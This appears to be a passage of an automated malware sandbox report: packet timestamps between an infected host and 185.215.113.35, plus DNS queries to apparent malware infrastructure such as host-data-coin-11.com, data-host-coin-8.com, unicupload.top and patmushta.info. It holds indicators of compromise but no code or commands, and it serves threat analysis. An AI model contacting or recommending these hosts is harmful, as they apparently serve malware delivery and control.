Jan 14, 2022 09:26:04.576165915 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.576194048 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.576219082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.576342106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.576356888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.576518059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.576534986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.576689005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.576704979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.576868057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.576885939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.576983929 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.577038050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.577052116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.577212095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.577228069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.577384949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.577399969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.577558041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.577574968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.577728987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.577744007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.577902079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.577919006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.578074932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.578089952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.578249931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.578267097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.578419924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.578435898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.578592062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.578608990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.578763962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.578779936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.578938961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.578955889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.579112053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.579125881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.579283953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.579301119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.579500914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.579535961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.579551935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.601970911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.602556944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.602580070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.602586031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.602776051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.602792025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.603015900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.603032112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.603235960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.603251934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.603456020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.603472948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.603632927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.603796959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.603815079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.604012012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.604027987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.604233980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.604250908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.604403973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.604418993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.604578972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.604595900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.604747057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.604763031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.604927063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.604943991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.605098963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.605113029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.605272055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.605288982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.605442047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.605458021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.605618954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.605637074 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.605791092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.605806112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.605968952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.605987072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.606139898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.606154919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.606317043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.606336117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.606491089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.606507063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.606686115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.606702089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.606838942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.606853962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.607021093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.607037067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.607189894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.607203960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.607363939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.607379913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.607536077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.607551098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.607721090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.607737064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.607887983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.607902050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.607981920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.608237028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.608598948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.617044926 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.619358063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.619391918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.619524002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.619539022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.619699955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.619718075 CET	49891	80	192.168.2.4	185.215.113.35

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 14, 2022 09:24:58.504261971 CET	192.168.2.4	8.8.8.8	0x85fb	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:24:58.950818062 CET	192.168.2.4	8.8.8.8	0x61cb	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:24:59.455101967 CET	192.168.2.4	8.8.8.8	0x35d0	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:24:59.623431921 CET	192.168.2.4	8.8.8.8	0x9b0a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:00.062973976 CET	192.168.2.4	8.8.8.8	0x5fa1	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:00.258764029 CET	192.168.2.4	8.8.8.8	0xd8c1	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:01.648228884 CET	192.168.2.4	8.8.8.8	0xe4b6	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:01.821270943 CET	192.168.2.4	8.8.8.8	0x8084	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:01.988954067 CET	192.168.2.4	8.8.8.8	0x92df	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:04.468344927 CET	192.168.2.4	8.8.8.8	0x133b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:04.640755892 CET	192.168.2.4	8.8.8.8	0x824a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:05.106497049 CET	192.168.2.4	8.8.8.8	0x4276	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:05.744245052 CET	192.168.2.4	8.8.8.8	0xe630	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:05.910893917 CET	192.168.2.4	8.8.8.8	0x2f13	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:06.375499964 CET	192.168.2.4	8.8.8.8	0x6231	Standard query (0)	unicupload.top	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:06.536884069 CET	192.168.2.4	8.8.8.8	0xdf03	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:06.966842890 CET	192.168.2.4	8.8.8.8	0xc429	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:07.441303968 CET	192.168.2.4	8.8.8.8	0x1c71	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:07.610197067 CET	192.168.2.4	8.8.8.8	0xdf90	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:07.781980991 CET	192.168.2.4	8.8.8.8	0x9e69	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:10.059603930 CET	192.168.2.4	8.8.8.8	0x36a9	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:10.232727051 CET	192.168.2.4	8.8.8.8	0x93a7	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:10.402065992 CET	192.168.2.4	8.8.8.8	0xbaac	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:10.569469929 CET	192.168.2.4	8.8.8.8	0x8806	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:14.421874046 CET	192.168.2.4	8.8.8.8	0x90eb	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:14.614980936 CET	192.168.2.4	8.8.8.8	0xfe69	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:14.780625105 CET	192.168.2.4	8.8.8.8	0x9c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:14.975579023 CET	192.168.2.4	8.8.8.8	0xa24e	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:16.770625114 CET	192.168.2.4	8.8.8.8	0x73ed	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:16.948978901 CET	192.168.2.4	8.8.8.8	0xcf20	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:17.118690014 CET	192.168.2.4	8.8.8.8	0x702f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:35.734503031 CET	192.168.2.4	8.8.8.8	0xaa98	Standard query (0)	microsoft-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:38.404217958 CET	192.168.2.4	8.8.8.8	0x571	Standard query (0)	patmushta.info	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:38.500076056 CET	192.168.2.4	8.8.8.8	0xe74c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:38.686891079 CET	192.168.2.4	8.8.8.8	0x7390	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:38.855894089 CET	192.168.2.4	8.8.8.8	0x8cdc	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:39.023346901 CET	192.168.2.4	8.8.8.8	0xffa9	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:39.190979004 CET	192.168.2.4	8.8.8.8	0xfc72	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:39.357533932 CET	192.168.2.4	8.8.8.8	0x3b0	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:39.527564049 CET	192.168.2.4	8.8.8.8	0x920	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:39.692435980 CET	192.168.2.4	8.8.8.8	0x24e6	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:39.905060053 CET	192.168.2.4	8.8.8.8	0x4803	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:40.069976091 CET	192.168.2.4	8.8.8.8	0x5683	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:40.237016916 CET	192.168.2.4	8.8.8.8	0xf82a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:40.408840895 CET	192.168.2.4	8.8.8.8	0x3a0d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:40.596249104 CET	192.168.2.4	8.8.8.8	0x19d5	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:40.764209986 CET	192.168.2.4	8.8.8.8	0x2a54	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:44.216681957 CET	192.168.2.4	8.8.8.8	0xb533	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:44.395333052 CET	192.168.2.4	8.8.8.8	0xf8e5	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:44.580280066 CET	192.168.2.4	8.8.8.8	0x709a	Standard query (0)	goo.su	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:45.040406942 CET	192.168.2.4	8.8.8.8	0x2e9c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:45.207436085 CET	192.168.2.4	8.8.8.8	0x4d69	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:45.357714891 CET	192.168.2.4	8.8.8.8	0x7264	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:45.525964975 CET	192.168.2.4	8.8.8.8	0x4cdb	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:45.691128969 CET	192.168.2.4	8.8.8.8	0xec9a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:45.881808043 CET	192.168.2.4	8.8.8.8	0x4146	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:46.060853004 CET	192.168.2.4	8.8.8.8	0x3909	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:48.854824066 CET	192.168.2.4	8.8.8.8	0x387	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:49.086039066 CET	192.168.2.4	8.8.8.8	0xe7dc	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:49.422725916 CET	192.168.2.4	8.8.8.8	0x9abc	Standard query (0)	a0621298.xsph.ru	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:50.660095930 CET	192.168.2.4	8.8.8.8	0x6f10	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:50.825428963 CET	192.168.2.4	8.8.8.8	0x450b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:51.017307043 CET	192.168.2.4	8.8.8.8	0xc9d6	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:55.965636969 CET	192.168.2.4	8.8.8.8	0x9c3	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:56.136208057 CET	192.168.2.4	8.8.8.8	0xbfd2	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:56.302062988 CET	192.168.2.4	8.8.8.8	0x9b36	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:56.494359016 CET	192.168.2.4	8.8.8.8	0xa220	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:56.717469931 CET	192.168.2.4	8.8.8.8	0xe9f1	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:02.268810034 CET	192.168.2.4	8.8.8.8	0x327	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:02.440820932 CET	192.168.2.4	8.8.8.8	0xd067	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:02.614178896 CET	192.168.2.4	8.8.8.8	0x6ba5	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:07.254791021 CET	192.168.2.4	8.8.8.8	0x56c5	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:07.447556973 CET	192.168.2.4	8.8.8.8	0xd10b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:07.803284883 CET	192.168.2.4	8.8.8.8	0x33c6	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:10.037647009 CET	192.168.2.4	8.8.8.8	0x8385	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:10.210942030 CET	192.168.2.4	8.8.8.8	0xcd06	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:10.423469067 CET	192.168.2.4	8.8.8.8	0x5a80	Standard query (0)	a0621298.xsph.ru	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:10.783442020 CET	192.168.2.4	8.8.8.8	0x6be3	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:10.954782009 CET	192.168.2.4	8.8.8.8	0x21f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:18.736825943 CET	192.168.2.4	8.8.8.8	0xe7c1	Standard query (0)	patmushta.info	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:25.934835911 CET	192.168.2.4	8.8.8.8	0x8983	Standard query (0)	microsoft-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 14, 2022 09:27:08.800683975 CET	192.168.2.4	8.8.8.8	0x62dd	Standard query (0)	patmushta.info	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Jan 14, 2022 09:24:58.794605017 CET	8.8.8.8	192.168.2.4	0x85fb	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:24:59.283950090 CET	8.8.8.8	192.168.2.4	0x61cb	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:24:59.474836111 CET	8.8.8.8	192.168.2.4	0x35d0	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:24:59.906702042 CET	8.8.8.8	192.168.2.4	0x9b0a	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:00.082065105 CET	8.8.8.8	192.168.2.4	0x5fa1	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:00.275962114 CET	8.8.8.8	192.168.2.4	0xd8c1	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:01.666069984 CET	8.8.8.8	192.168.2.4	0xe4b6	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:01.841012955 CET	8.8.8.8	192.168.2.4	0x8084	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:02.297612906 CET	8.8.8.8	192.168.2.4	0x92df	No error (0)	data-host-coin-8.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:04.487859011 CET	8.8.8.8	192.168.2.4	0x133b	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:04.958055973 CET	8.8.8.8	192.168.2.4	0x824a	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:05.424448967 CET	8.8.8.8	192.168.2.4	0x4276	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:05.763828993 CET	8.8.8.8	192.168.2.4	0xe630	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:06.228406906 CET	8.8.8.8	192.168.2.4	0x2f13	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:06.478178978 CET	8.8.8.8	192.168.2.4	0x6231	No error (0)	unicupload.top	54.38.220.85	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:06.824743986 CET	8.8.8.8	192.168.2.4	0xdf03	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:07.291708946 CET	8.8.8.8	192.168.2.4	0xc429	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:07.460710049 CET	8.8.8.8	192.168.2.4	0x1c71	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:07.627312899 CET	8.8.8.8	192.168.2.4	0xdf90	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:08.099401951 CET	8.8.8.8	192.168.2.4	0x9e69	No error (0)	data-host-coin-8.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:10.078922033 CET	8.8.8.8	192.168.2.4	0x36a9	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:10.251872063 CET	8.8.8.8	192.168.2.4	0x93a7	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:10.421320915 CET	8.8.8.8	192.168.2.4	0xbaac	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:10.588691950 CET	8.8.8.8	192.168.2.4	0x8806	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:14.441111088 CET	8.8.8.8	192.168.2.4	0x90eb	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:14.634314060 CET	8.8.8.8	192.168.2.4	0xfe69	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:14.799860001 CET	8.8.8.8	192.168.2.4	0x9c	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:14.996831894 CET	8.8.8.8	192.168.2.4	0xa24e	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:14.996831894 CET	8.8.8.8	192.168.2.4	0xa24e	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:14.996831894 CET	8.8.8.8	192.168.2.4	0xa24e	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:14.996831894 CET	8.8.8.8	192.168.2.4	0xa24e	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:14.996831894 CET	8.8.8.8	192.168.2.4	0xa24e	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:16.788121939 CET	8.8.8.8	192.168.2.4	0x73ed	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:16.968163013 CET	8.8.8.8	192.168.2.4	0xcf20	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:17.136274099 CET	8.8.8.8	192.168.2.4	0x702f	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:35.761554003 CET	8.8.8.8	192.168.2.4	0xaa98	No error (0)	microsoft-com.mail.protection.outlook.com	40.93.207.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:35.761554003 CET	8.8.8.8	192.168.2.4	0xaa98	No error (0)	microsoft-com.mail.protection.outlook.com	40.93.212.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:35.761554003 CET	8.8.8.8	192.168.2.4	0xaa98	No error (0)	microsoft-com.mail.protection.outlook.com	40.93.207.1	A (IP address)	IN (0x0001)
